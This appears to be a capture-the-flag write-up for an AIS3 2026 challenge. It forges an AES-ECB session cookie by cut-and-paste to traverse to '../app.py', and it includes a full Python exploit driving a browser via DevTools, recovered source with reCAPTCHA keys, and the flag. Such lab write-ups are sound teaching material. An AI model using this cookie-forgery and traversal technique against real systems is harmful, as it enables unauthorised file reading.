【AIS3 Pre-Exam 2026 Writeup】Crypto - EasyWEB
Page source first. It was only a small pen page.
<form method="post" id="pen-form" onsubmit="return beforeSubmit(event)">
<input name="name" id="name" />
<input name="note" />
<input type="hidden" name="g-recaptcha-response" id="captcha-response" />
<input type="hidden" name="captcha-client-error" id="captcha-client-error" />
</form>
The client-side check blocked names starting with / or .:
if (name.startsWith('/') || name.startsWith('.')) {
document.getElementById('captcha-status').innerText = 'bad hacker';
return false;
}
At first this looked like a normal path traversal note app. The hint said the flag was in the website source code, so ../app.py was the first useful target in my mind. Direct input could not start with . though.
The server returned a session cookie after POST. The cookie was hex, and it changed when name changed. Since the category was crypto, the cookie looked more interesting than random web routes.
Small tests gave a clear block pattern.
name = A
session = 0a6e49d00bd89370c5924cd51a39ad7f
With 16 As:
name = AAAAAAAAAAAAAAAA
session =
f176d51cf56f81618dd766b50d653fee
8cc273f1564293f3137480aad2497937
The second block looked like a padding-only block. Sending 17 As made the block relation line up with ECB and PKCS#7. The cookie was basically:
session = AES-ECB-PKCS7(name)
No MAC. No signature. Cut-and-paste was possible.
Captcha and Cloudflare were noise during solving. For a while Chromium DevTools Protocol was useful, because the browser could send the request normally and keep the clearance cookies. Later the author said captcha was not needed and disabled it. The crypto bug did not depend on captcha.
Some web ideas did not help. /source, /app.py, /flag, /flag.txt, and similar routes returned normal 404 or the same form. Reading plain note names like flag, app.py, and source also gave confusing values:
hello
x
DETECT_PROBE
Those were just shared note files. Other players and my tests had polluted the data directory. The real file had to be outside the note storage.
The app-level protection was also clear after a few probes:
- POST with a name starting with
.or/got blocked. - POST with slash in the middle often returned
500, but still gave a cookie. - GET with a forged cookie could read the file named by the decrypted session.
The target plaintext was:
../app.py
The trick was to place it at the start of a block without submitting a name that starts with ..
Send this name:
PPPPPPPPPPPPPPP/../app.py
The first 16 bytes are:
PPPPPPPPPPPPPPP/
The encrypted cookie becomes:
enc("PPPPPPPPPPPPPPP/") || enc("../app.py" + padding)
Remove the first ciphertext block. Since the cookie is hex, one AES block is 32 hex chars:
forged = session[32:]
Now the server decrypts the forged cookie as:
../app.py
No native debug step here. HTTP probes and cookie blocks were the debugging surface. The repeated 16-byte block pattern mattered because it turned the POST endpoint into an encryption oracle.
The helper used CDP only to talk through a real browser session. The core function was small:
def read_target(cdp, target):
note = "MANUAL_" + "".join(random.choice(string.ascii_letters + string.digits) for _ in range(8))
cdp.delete_session()
post = cdp.post("P" * 15 + "/" + target, note)
session = cdp.get_session()
if not session or len(session) < 64:
raise RuntimeError(f"no usable session cookie; post={post}")
forged = session[32:]
cdp.delete_session()
cdp.set_session(forged)
page = cdp.get_index()
return forged, post["status"], page["status"], extract_pre(page["body"]), page["body"]
Run:
python3 easyweb_oracle.py --cdp http://127.0.0.1:9604/json ../app.py
The recovered source had the flag directly inside:
from Crypto.Cipher import AES
from flask import Flask, make_response, request
app = Flask(__name__)
KEY = os.urandom(16)
DATA_DIR = "data"
COOKIE_NAME = "session"
SITE_KEY = "6Leq69ssAAAAADwiN4eEAcohhMxLrEbZo_UlkmDR"
SECRET_KEY = "6Leq69ssAAAAADPvneyvukEVWZGotd_APb1akl4V"
FLAG = "AIS3{copy_and_paste_the_flag}"
That also confirmed the earlier guess: random AES key, data directory, session cookie, and source file one level above the data storage.
Full exploit script:
#!/usr/bin/env python3
import argparse
import html
import itertools
import json
import random
import re
import string
import sys
import time
import urllib.request
import websocket
BASE = "https://ais3-2026-easy-session.whale-tw.com/"
CDP = "http://127.0.0.1:9502/json"
class CDPClient:
def __init__(self):
self.ws = None
self.seq = itertools.count(1)
self.connect()
self.call("Network.enable")
def connect(self):
pages = json.load(urllib.request.urlopen(CDP, timeout=5))
page = next(
p for p in pages
if p.get("type") == "page" and "ais3-2026-easy-session" in p.get("url", "")
)
self.ws = websocket.create_connection(page["webSocketDebuggerUrl"], timeout=90)
def call(self, method, params=None, timeout=90):
for attempt in range(2):
try:
msg_id = next(self.seq)
self.ws.send(json.dumps({"id": msg_id, "method": method, "params": params or {}}))
end = time.time() + timeout
while True:
if time.time() > end:
raise TimeoutError(method)
msg = json.loads(self.ws.recv())
if msg.get("id") == msg_id:
return msg
except (websocket.WebSocketConnectionClosedException, BrokenPipeError):
if attempt:
raise
self.connect()
self.ws.settimeout(90)
self.ws.send(json.dumps({"id": next(self.seq), "method": "Network.enable", "params": {}}))
def eval(self, expression, timeout=90):
res = self.call(
"Runtime.evaluate",
{"expression": expression, "awaitPromise": True, "returnByValue": True},
timeout=timeout,
)
if "exceptionDetails" in res.get("result", {}):
raise RuntimeError(res["result"]["exceptionDetails"])
return res["result"]["result"].get("value")
def delete_session(self):
self.call("Network.deleteCookies", {"name": "session", "url": BASE})
def get_session(self):
cookies = self.call("Network.getCookies", {"urls": [BASE]})["result"]["cookies"]
for cookie in cookies:
if cookie["name"] == "session":
return cookie["value"]
return None
def set_session(self, value):
self.call(
"Network.setCookie",
{
"name": "session",
"value": value,
"url": BASE,
"path": "/",
"secure": True,
"httpOnly": True,
"sameSite": "Lax",
},
)
def post(self, name, note):
expr = f"""
(async()=>{{
let p = new URLSearchParams();
p.set('name', {json.dumps(name)});
p.set('note', {json.dumps(note)});
let token = '';
if (typeof grecaptcha !== 'undefined' && grecaptcha.execute) {{
token = await new Promise((resolve, reject) => {{
const to = setTimeout(() => reject(new Error('captcha timeout')), 45000);
window.afterCaptcha = t => {{ clearTimeout(to); resolve(t); }};
try {{ grecaptcha.reset(); }} catch(e) {{}}
grecaptcha.execute();
}});
p.set('g-recaptcha-response', token);
p.set('captcha-client-error', '');
}}
let r = await fetch('/', {{
method: 'POST',
credentials: 'include',
cache: 'no-store',
headers: {{'Content-Type': 'application/x-www-form-urlencoded'}},
body: p.toString()
}});
return {{status: r.status, body: await r.text(), toklen: token.length}};
}})()
"""
return self.eval(expr, timeout=80)
def get_index(self):
return self.eval(
"""
(async()=>{
let r = await fetch('/?r=' + Math.random(), {credentials:'include', cache:'no-store'});
return {status:r.status, body:await r.text()};
})()
""",
timeout=30,
)
def extract_pre(body):
match = re.search(r"<pre>(.*?)</pre>", body, re.S)
return html.unescape(match.group(1)) if match else None
def read_target(cdp, target):
note = "MANUAL_" + "".join(random.choice(string.ascii_letters + string.digits) for _ in range(8))
cdp.delete_session()
post = cdp.post("P" * 15 + "/" + target, note)
session = cdp.get_session()
if not session or len(session) < 64:
raise RuntimeError(f"no usable session cookie; post={post}")
forged = session[32:]
cdp.delete_session()
cdp.set_session(forged)
page = cdp.get_index()
return forged, post["status"], page["status"], extract_pre(page["body"]), page["body"]
def main():
parser = argparse.ArgumentParser(description="EasyWEB ECB session oracle helper")
parser.add_argument("target", nargs="+", help="filename(s) to read, e.g. app.py flag.txt ./Pen")
parser.add_argument("--cdp", default=None, help="Chrome DevTools JSON endpoint")
parser.add_argument("--raw", action="store_true", help="print full HTML when no <pre> is found")
parser.add_argument("--sleep", type=float, default=0.0, help="delay between targets")
args = parser.parse_args()
if args.cdp:
global CDP
CDP = args.cdp
cdp = CDPClient()
for target in args.target:
try:
forged, post_status, get_status, pre, body = read_target(cdp, target)
print(f"=== {target} ===")
print(f"post={post_status} get={get_status} forged_session={forged}")
if pre is None:
print("[no <pre>]")
if args.raw:
print(body)
else:
print(pre)
flags = re.findall(r"AIS3\\{[^}]*\\}", pre)
if flags:
print(f"[flag] {flags[0]}")
except Exception as exc:
print(f"=== {target} ===", file=sys.stderr)
print(f"error: {exc}", file=sys.stderr)
if args.sleep:
time.sleep(args.sleep)
if __name__ == "__main__":
main()
Submit:
AIS3{copy_and_paste_the_flag}
CTFd returned:
{ "status": "correct", "message": "Correct" }